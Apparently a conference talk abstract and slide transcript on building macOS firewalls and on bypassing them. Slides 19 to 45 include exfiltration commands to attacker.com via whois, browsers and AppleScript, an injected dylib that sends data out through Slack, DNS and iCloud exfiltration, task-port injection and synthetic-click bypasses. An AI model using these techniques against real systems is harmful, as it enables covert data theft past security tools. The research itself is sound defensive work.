Fire & Ice: Making and Breaking macOS Firewalls [Extended]

In the ever raging battle between malicious code and anti-malware tools, firewalls play an essential role. Many a malware has been generically thwarted thanks to the watchful eye of these products.

However on macOS, firewalls are rather poorly understood. Apple's documentation surrounding it's network filter interfaces is rather lacking and all commercial macOS firewalls are closed source.

This talk aims to take a peek behind the proverbial curtain revealing how to both create and 'destroy' macOS firewalls.

In this talk, we'll first dive into what it takes to create an effective firewall for macOS. Yes we'll discuss core concepts such as kernel-level socket filtering—but also how to communicate with user-mode components, install privileged code in a secure manner, and simple ways to implement self-defense mechanisms (including protecting the UI from synthetic events).

Of course any security tool, including firewalls, can be broken. After looking at various macOS malware specimens that proactively attempt to detect such firewalls, we'll don our 'gray' (black?) hats to discuss various attacks against these products. And while some attacks are well known, others are currently undisclosed and can generically bypass even today's most vigilant Mac firewalls.

But all is not lost. By proactively discussing such attacks, combined with our newly-found understandings of firewall internals, we can improve the existing status quo, advancing firewall development. With a little luck, such advancements may foil, or at least complicate the lives of tomorrow's sophisticated Mac malware!

Transcript

1. digita security Fire & Ice making and breaking mac firewalls
2. WHOIS cybersecurity solutions for the macOS enterprise @patrickwardle synack digita nsa nasa
3. Outline making breaking macOS firewalls socket filter } bugs bypasses } ipc, rules, alerts
4. digita security MAKING A FIREWALL filtering network traffic
5. The Goal blocking unauthorized/malicious traffic focusing on outgoing traffic
 ( built-in firewall is sufficient for incoming traffic ) C&C server malware infects system malware attempts to connect to C&C server or exfil data firewall detects unauthorized connection, alerting user } generically no a priori knowledge To monitor all network traffic: allowing trusted/legitimate traffic
6. Network Kernel Extensions & socket filters "Network kernel extensions (NKEs) provide a way to extend and modify the networking infrastructure of OS X" -developer.apple.com Apple's Network Kernel Extensions Programming Guide Socket Filter (NKE) "filter inbound or outbound traffic on a socket" -developer.apple.com socket operation allow kernel mode
7. Registering a Socket Filter the sflt_filter structure "A socket filter is registered by [first] filling out desired callbacks in the sflt_filter structure." OS X and iOS Kernel Programming struct sflt_filter { sflt_handle sf_handle; int sf_flags; char *sf_name; sf_unregistered_func sf_unregistered; sf_attach_func sf_attach; sf_detach_func sf_detach; sf_notify_func sf_notify; sf_getpeername_func sf_getpeername; sf_getsockname_func sf_getsockname; sf_data_in_func sf_data_in; sf_data_out_func sf_data_out; sf_connect_in_func sf_connect_in; sf_connect_out_func sf_connect_out; sf_bind_func sf_bind; sf_setoption_func sf_setoption; sf_getoption_func sf_getoption; .... struct sflt_filter (kpi_socketfilter.h) int sf_flags: set to SFLT_GLOBAL } callbacks (optional) attach data in/out detach
8. Registering a Socket Filter the sflt_register function extern errno_t sflt_register(const struct sflt_filter *filter, int domain, int type, int protocol); //register socket filter // AF_INET domain, SOCK_STREAM type, TCP protocol sflt_register(&tcpFilterIPV4, AF_INET, SOCK_STREAM, IPPROTO_TCP) socket operation invoke sflt_register() for each domain, type, and protocol AF_INET/SOCK_STREAM/TCP AF_INET/SOCK_DGRAM/UDP AF_INET6/SOCK_STREAM/TCP etc... registering a socker filter
9. Socket Filter Callbacks sf_attach_func: new sockets //callback for new sockets static kern_return_t attach(void **cookie, socket_t so); "The attach function...[is] called whenever [the] filter attaches itself to a socket. This happens...when the socket is created." OS X and iOS Kernel Programming the socket "per socket" data static kern_return_t attach(void **cookie, socket_t so){ //alloc cookie *cookie = (void*)OSMalloc(sizeof(struct cookieStruct), allocTag); //save rule action // values: allow/deny/ask ((struct cookieStruct*)(*cookie))->action = queryRule(proc_selfpid()); example attach function
10. Socket Filter Callbacks sf_connect_out_func: outgoing connections //callback for outgoing (TCP) connections static kern_return_t connect_out(void *cookie, socket_t so, const struct sockaddr *to) "sf_connect_out_func is called to filter outbound connections. A protocol will call this before initiating an outbound connection." kpi_socketfilter.h the (attached) socket same "per socket" data kern_return_t connect_out(void *cookie, socket_t so, const struct sockaddr *to){ //rule says 'allow'?
 if(RULE_STATE_ALLOW == cookie->ruleAction) return kIOReturnSuccess; //rule says 'block'? if(RULE_STATE_BLOCK == cookie->ruleAction) return kIOReturnError; //unknown (new) process.. example connect_out function remote address
11. Callback: sf_connect_out_func handling an unknown process //nap time! IOLockSleep(ruleEventLock, &ruleEventLock, THREAD_ABORTSAFE); put thread to sleep sf_connect_out_func invoked on the thread of process connecting out! report event to user-mode daemon via shared queue //data queue IOSharedDataQueue *sharedDataQueue = NULL; //shared memory IOMemoryDescriptor *sharedMemoryDescriptor = NULL;
 //get memory descriptor // used in `clientMemoryForType` method sharedMemoryDescriptor = sharedDataQueue->getMemoryDescriptor(); ... //queue it up sharedDataQueue->enqueue_tail(&event, sizeof(firewallEvent)); user-mode daemon
12. Callback: sf_connect_out_func handling an unknown process daemon daemon: check rule's database, not found? pass event to login item via XPC //process alert request from login item // blocks for queue item, then sends to client -(void)alertRequest:(void (^)(NSDictionary* alert))reply { //read off queue self.dequeuedAlert = [eventQueue dequeue]; //return alert reply(self.dequeuedAlert); } login item displays alert ...& awaits for user's response allow deny! <process> is trying to connect to <addr> alert rules db
13. Callback: sf_connect_out_func handling an unknown process " " user's response passed back to daemon (XPC) daemon save to rule database "allow" || "block" } kext send to kext (iokit) awake thread & apply response
14. Process Classification known? unknown? socket operation //get process pid_t process = proc_selfpid(); socket filter callback(s), are invoked in context of process that initiated socket operation lulu (user-mode) generate code signing info (or hash) of process query rules database & user preferences... known process? tell kernel block/allow } unknown process? alert user/get response
15. (network) Event Broadcasting and external user-mode consumers kev_msg_post() pid socket addresses user-mode 'consumers' LuLu //create system socket // configure it, then recv events from LuLu systemSocket = socket(PF_SYSTEM, SOCK_RAW, SYSPROTO_EVENT); strncpy(vendorCode.vendor_string, OBJECTIVE_SEE_VENDOR, KEV_VENDOR_CODE_MAX_STR_LEN); kevRequest.vendor_code = vendorCode.vendor_code; ioctl(systemSocket, SIOCSKEVFILT, &kevRequest); recv(systemSocket, kextMsg, sizeof(kextMsg), 0); subscribing to LuLu's kernel-mode events
16. LuLu the free macOS firewall github.com/objective-see/LuLu full src code: rules window alert installer
17. digita security BREAKING FIREWALLS exploiting & bypassing
18. The Goal Access the network: infected host firewall 'aware' malware firewall (security) flaws firewall bypasses } product specific generic communicate with a C&C server exfiltrate data even if a firewall is installed!
19. Firewall 'Aware' Malware is a firewall detected? yah!...then don't infect "They were finally caught while attempting to upload a screenshot to one of their own servers, according to the report. A piece of security software called Little Snitch ... was installed on one of the information security employees’ laptops [at Palantir], and it flagged the suspicious upload attempt" -buzzfeed $ cat Twitter1 if [ -e /System/Library/Extensions/LittleSnitch.kext ] then ./Twitterrific exit 0 fi #firewall not found! infect! OSX.DevilRobber LittleSnitch (firewall) installed? ...yes; skip infecting the system! red team: caught!
20. Firewall 'Aware' Malware is a firewall detected? yah!...then don't infect } config HandsOff.kext LittleSnitch.kext Radio Silence.kext //0x51: 'LittleSnitch.kext' rax = [*0x10006c4a0 objectAtIndexedSubscript:0x51]; rdx = rax; if ([rbx fileExistsAtPath:rdx] != 0x0) goto fileExists; fileExists: rax = exit(0x0); return rax; Handbrake: trojaned with OSX.Proton firewall detection logic (file based) firewall installed? yes; exit!
21. Firewall Vulnerabilities little snitch ring-0 heap overflow (wardle/cve-2016-8661) 32bit void* OSMalloc( uint32_t size ...); int copyin(..., vm_size_t nbytes ); offset 15 ... 8 7 6 5 4 3 2 1 0 value 1 0 0 0 0 0 0 0 2 64bit 64bit value: 0x100000002 32bit value: 0x100000002 vs. kernel heap heap buffer 
 [size: 2 bytes] rest of heap.... heap buffer 
 [size: 2 bytes] rest of heap.... 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 vm_size_t 
 is 64bits! kernel heap sub_FFFFFF7FA13EABB2 proc mov rbx, rsi mov rdi, [rbx+30h] ; user-mode struct mov rbx, rdi mov rdi, [rbx+8] ; size ... mov rsi, cs:allocTag call _OSMalloc ; malloc ... mov rdi, [rbx] ; in buffer mov rdx, [rbx+8] ; size mov rsi, rax ; out buffer (just alloc'd) call _copyin
22. Firewall Vulnerabilities little snitch installer/updater local EoP (versions < 4.1) (lldb) po $rdx { /bin/rm -Rf "$DESTINATION" && /bin/cp -Rp "$SOURCE" "$DESTINATION" && /usr/sbin/chown -R root:wheel "$DESTINATION" && /bin/chmod -R a+rX,og-w "$DESTINATION"; } 2>&1 (lldb) po [[NSProcessInfo processInfo] environment] ... DESTINATION = "/Library/Little Snitch/Little Snitch Daemon.bundle"; SOURCE = "/Volumes/Little Snitch 4.0.6/Little Snitch Installer.app/Contents/Resources/ Little Snitch Daemon.bundle"; .dmg cp pkg/.../Little Snitch Daemon.bundle /Library/Little Snitch/ chown -R root:wheel 
 /Library/Little Snitch/ little snitch installer logic #_
23. Bypassing RadioSilence ...don't trust a name! "The easiest firewall for Mac...Radio Silence can stop any app from making network connections" -RadioSilence com.radiosilenceapp.nke.filter int _is_process_blacklisted(int arg0, int arg1) { return _is_process_or_ancestor_listed(r14, 0x0); } int _is_process_or_ancestor_listed(int arg0, int arg1) { //wut? 'launchd' can't be blacklisted _proc_name(arg0, &processName, 0x11); rax = _strncmp("launchd", &processName, 0x10); if (rax == 0x0) goto leave; ... return rax; } blacklist'ing check
24. Bypassing RadioSilence ...don't trust a name! $ ~/Desktop/launchd google.com <HTML><BODY> <H1>301 Moved</H1> The document has moved <A HREF="http://www.google.com/">here</A>. </BODY></HTML> bypass: name malware: 'launchd' blacklist malware ...still connects out!
25. Bypassing HandsOff ...don't trust a click! "Keep an eye on Internet connections from all applications as to expose the hidden connections. Prevent them from sending data without your consent" -HandsOff $ curl google.com Allow " " void bypass(float X, float Y){
 //clicky clicky CGPostMouseEvent(CGPointMake(X, Y), true, 1, true); CGPostMouseEvent(CGPointMake(X, Y), true, 1, false); } synthetic click <HTML><HEAD> <TITLE>301 Moved</TITLE>
26. Bypassing LuLu ...don't trust a system utility! "the free macOS firewall that aims to block unauthorized (outgoing) network traffic" -LuLu //apple utils // may be abused, so trigger an alert NSString* const GRAYLISTED_BINARIES[] = { @"com.apple.nc", @"com.apple.curl", @"com.apple.ruby", @"com.apple.perl", @"com.apple.perl5", @"com.apple.python", @"com.apple.python2", @"com.apple.pythonw", @"com.apple.openssh", @"com.apple.osascript" }; is there an(other) system utility that we can abuse? LuLu's 'graylist'
27. Bypassing LuLu ...don't trust a system utility! $ echo "exfil this data" > exfil.txt $ RHOST=attacker.com $ RPORT=12345 $ LFILE=file_to_send $ whois -h $RHOST -p $RPORT "`cat $LFILE`" LuLu(105): 
 due to preferences, allowing apple process: /usr/bin/whois LuLu(105): adding rule for /usr/bin/whois
 ({ signedByApple = 1; signingIdentifier = "com.apple.whois"; }): action: ALLOW exfil via 'whois' via @info_dox LuLu (debug) log ...traffic (silently) allowed
28. Bypassing LittleSnitch ...don't trust a domain! $ curl https://setup.icloud.com/setup/ws/1/login {"success":false,"error":"Invalid ... header"} curl little snitch (kext) *.icloud.com
29. Bypassing LittleSnitch ...don't trust a domain! $ python iCloud.py upload ~/Desktop/topSecret.txt [1] login: https://setup.icloud.com/setup/ws/1/login params: {'clientBuildNumber': '15A99', 'clientId': '12A9D426-C45B-11E4-BA3B-B8E8563151B4'}
 
 [2] init'ing upload: https://p34-docws.icloud.com/ws/com.apple.CloudDocs/upload/web params: {'token': 'AQAAAABU-jxwYG7i1C7BBsuqtqfsa74Rb_2u6yI~"'} data: {"size": 6, "type": "FILE", "content_type": "text/plain", "filename": "topSecret.txt"}
 
 response: [{u'url': u'https://p34-contentws.icloud.com:443/8205919168/singleFileUpload? tk=BRC9cJWSP7a4AxOYKf8K&ref=01003e53bebaf26c7c47a33486f7776a26f60568a6&c=com.apple.clouddocs &z=com.apple.CloudDocs&uuid=3f678124-94d4-4fa0-9f1f-6d24dbc49f17&e=AvKdu5MfcUeIfLPJ6MeWTV6dS EBoN3BPTCwGHjqSF8jVCEfsXhKglXKR58YkzILGWw', u'owner': u'8205919168', u'document_id': u'BF38917E-DD30-44A9-8E34-32ABB7800899', u'owner_id': u'_ee6a3e4219e1fb22e1d9d0690b7366b6'}]
 
 [3] uploading to: https://p34-contentws.icloud.com:443/8205919168/singleFileUpload? tk=BRC9cJWSP7a4AxOYKf8K&ref=01003e53bebaf26c7c47a33486f7776a26f60568a6&c=com.apple.clouddocs &z=com.apple.CloudDocs&uuid=3f678124-94d4-4fa0-9f1f-6d24dbc49f17&e=AvKdu5MfcUeIfLPJ6MeWTV6dS EBoN3BPTCwGHjqSF8jVCEfsXhKglXKR58YkzILGWw response: {u'singleFile': {u'referenceChecksum': u'AQA+U7668mx8R6M0hvd3aib2BWim', u'wrappingKey': u'3gtDUoGIjmFloUFCTFvLCQ==', u'receipt': u'A0/B7PXdJi5JC5Ep', u'size': 6, u'fileChecksum': u'Abv+EeVEGAQ0o5/2szwFFOVX1ICw'}} [4] committing upload: https://p34-docws.icloud.com/ws/com.apple.CloudDocs/update/documents exfil to iCloud C&C
30. Generic Bypasses regardless of firewall product: connect out To access the network (e.g. connect to a malicious C&C server or exfiltrate data) without being blocked by (any) firewall. firewalls are inherently disadvantaged ...MUST ALLOW certain network traffic! system functionality (dns, os updates, etc.) 'usability' (browsers, chat clients, etc.) } passively determine what's allowed abuse these trusted protocols/processes to generically bypass any installed firewall
31. Generic Bypasses what traffic is allowed? $ lsof -i TCP -sTCP:ESTABLISHED Google Chrome patricks-mbp.lan:58107->ec2-107-21-125-119.compute-1.amazonaws.com:https Signal patricks-mbp.lan:58098->ec2-52-2-222-12.compute-1.amazonaws.com:https Slack patricks-mbp.lan:58071->151.101.196.102:https VMware patricks-mbp.lan:62676->a23-55-114-98.deploy.static.akamaitechnologies.com:https com.apple.WebKit.Networking (Safari) patricks-mbp.lan:58189->a23-55-116-179.deploy.static.akamaitechnologies.com:https Core Sync.app patricks-mbp.lan:58195->ec2-52-5-250-175.compute-1.amazonaws.com:https Creative Cloud.app patricks-mbp.lan:57194->ec2-52-2-42-38.compute-1.amazonaws.com:https GitHub patricks-mbp.lan:58119->lb-192-30-255-116-sea.github.com:https } lsof output (user processes) what's allowed!?
32. Abusing DNS connect to 'evil.com' XPC resolve 'evil.com' mdnsresponder allowed dns server firewall examines request dns server resolves request macOS 
 domain name resolution handled by mdnsresponder fully trusted by firewalls
33. Abusing DNS int main(int argc, const char * argv[]) { 
 struct addrinfo *result = {0}; //'resolve' DNS // this is routed to mDNSResponder getaddrinfo(argv[1], NULL, NULL, &result); .... resolve 'data.to.exfilatrate.evil.com' response encode tasking in A* records HandsOff (in advanced mode) tracks DNS resolutions, but NOT "DNS Service Discovery" (DNS-SD, see: /usr/include/dns_sd.h)
34. Abusing Browsers synthetic browsing via AppleScript "A browser that is not afforded indiscriminate network access (at least to remote web severs) is rather useless" tell application "Safari" run tell application "Finder" to set visible of process "Safari" to false make new document
 set the URL of document 1 to "http://attacker.com?data=data%20to%20exfil" 
 end tell invisible exfil data firewall examines request
35. Abusing Browsers synthetic browsing via cmdline interfaces $ "Google Chrome" 
 --crash-dumps-dir=/tmp
 --headless http://attacker.com?data=data%20to%20exfil $ firefox-bin 
 --headless http://attacker.com?data=data%20to%20exfil $ open -j -a Safari 
 http://attacker.com?data=data%20to%20exfil chrome firefox safari
36. Abusing Code/Dylib Injections any code in a trusted process, is equally trusted any code running in the context of process trusted ('allowed') by a firewall, will inherit that same trust! injection methods of injection: write to remote memory malicious plugins dylib proxying environment variables targets: 3rd-party apps
37. Abusing Code/Dylib Injections writing to remote memory //get task ports via 'processor_set_tasks' processor_set_default(myhost, &psDefault); host_processor_set_priv(myhost, psDefault, &psDefault_control); processor_set_tasks(psDefault_control, &tasks, &numTasks); //find process's task port // then (as a poc) remotely allocate some memory for(i = 0; i < numTasks; i++) { pid_for_task(tasks[i], &pid); if (pid == targetPID) { mach_vm_address_t remoteMem = NULL; mach_vm_allocate(tasks[i], &remoteMem, 
 1024, VM_FLAGS_ANYWHERE); //now write & exec injected shellcode "Who needs task_for_pid() anyway..." -(j. levin) # ps aux | grep Slack patrick 36308 /Applications/Slack.app
 # lsof -p 36308 | grep TCP Slack TCP patricks-mbp.lan:57408 -> ec2-52-89-46.us-west-2.compute.amazonaws.com # ./getTaskPort -p 36308 getting task port for Slack (pid: 36308) got task: 0xa703 allocated remote memory @0x109b4e000 ... 'traditional' injection
38. Abusing Code/Dylib Injections environment variable (DYLD_INSERT_LIBRARIES) $ DYLD_INSERT_LIBRARIES=/tmp/bypass.dylib /Applications/Slack.app/Contents/MacOS/Slack //custom constructor __attribute__((constructor)) static void initializer(void) { NSURL *url = [NSURL URLWithString: @"http://www.attacker.com/?data=data%20to%20exfil%20via%20Slack"]; NSData *data = [NSData dataWithContentsOfURL:url]; } malicious dylib target (trusted) application dylib w/ custom constructor user agent: 'Slack'
39. Abusing Code/Dylib Injections dylib proxying LC_LOAD_DYLIB: /Applications/<some app>/<some>.dylib note, due to System Integrity Protection (SIP) one cannot replace/proxy system dynamic libraries. LC_LOAD_DYLIB: /Applications/<some app>/<some>.dylib <some>.dylib <some>.dylib <some>.dylib.orig
40. Abusing Code/Dylib Injections dylib proxying in two easy steps copy original dylib replace original dylib -Xlinker -reexport_library <path to legit dylib> re-export symbols! $ install_name_tool -change <existing value of LC_REEXPORT_DYLIB> <new value for to LC_REEXPORT_DYLIB (e.g target dylib)> <path to dylib to update> firewall allows request
41. Kernel-based Bypasses in ring-0, no one can stop you! static kern_return_t attach( ... ) { ... //don't mess w/ kernel sockets if(0 == proc_selfpid()) { //allow result = kIOReturnSuccess; goto bail; } traffic from the kernel is generally (allowed) trusted allowing kernel traffic (LuLu) kernel mode
42. Kernel-based Bypasses in ring-0, no one can stop you! kernel mode "Different possibilities exist to hide our network connections from Little Snitch and also Apple's application firewall. The easiest one is to patch or hook the sf_attach callback." -fG! (@osxreverser) patch callbacks remove callbacks or
43. Kernel-based Bypasses ok, how do we get into the kernel? get root 'bring' & load buggy kext exploit to run unsigned kernel code (buggy) kext still validly signed! code loaded into the kernel (i.e. kexts) must be signed...and Apple rarely hands out kext signing certs! SlingShot APT (Windows)
44. Kernel-based Bypasses ok, how do we get into the kernel? "macOS High Sierra 10.13 introduces a new feature that requires user approval before loading new third-party kernel extensions." -apple " " fixed? bypass with synthetic event Apple: yes, 100% fixed Patrick: nope, it's not!!
45. Long Live Synthetic Events!? an 0day can bypass other protections //given some point {x, y} // generate synthetic event... CGPostMouseEvent(point, true, 1, true); CGPostMouseEvent(point, true, 1, true); mouse down mouse down ...AGAIN!! Apple's touted 
 "User Assisted Kext Loading" ...has NEVER EVER been secure # ./sniffMK event: left mouse down event source pid 951 event state 0 (synthetic) (x: 1100.000000, y: 511.000000) event: left mouse up event source pid 0 event state 0 (synthetic) (x: 1100.000000, y: 511.000000) OS converts 2nd mouse down, to a mouse up event } "Allow" button accepts synthetic click as source pid = 0!
46. digita security CONCLUSION wrapping this up
47. macOS Firewalls kernel socket filter (see: LuLu) } bugs bypasses firewalls are not enough: use other host-based security products use network-based security products making firewalls: breaking firewalls:
48. ...ok, one more last thing! "Objective by the Sea" conference ObjectiveByTheSea.com Maui, Hawaii Nov 3rd/4th All things macOS malware bugs security Free for Objective-See patrons!
49. Finale @patrickwardle cybersecurity solutions for the macOS enterprise digita security friends of Digita Security join us: 
 objective-see.com/friends.html
50. Credits - iconexperience.com - wirdou.com/2012/02/04/is-that-bad-doctor - http://pre04.deviantart.net/2aa3/th/pre/f/ 2010/206/4/4/441488bcc359b59be409ca02f863e843.jpg
 
 - opensource.apple.com - newosxbook.com (*OS Internals) - github.com/objective-see/LuLu - apress.com/gp/book/9781430235361 - phrack.org/issues/69/7.html - malwarebytes.com/mac-antivirus/
 images resources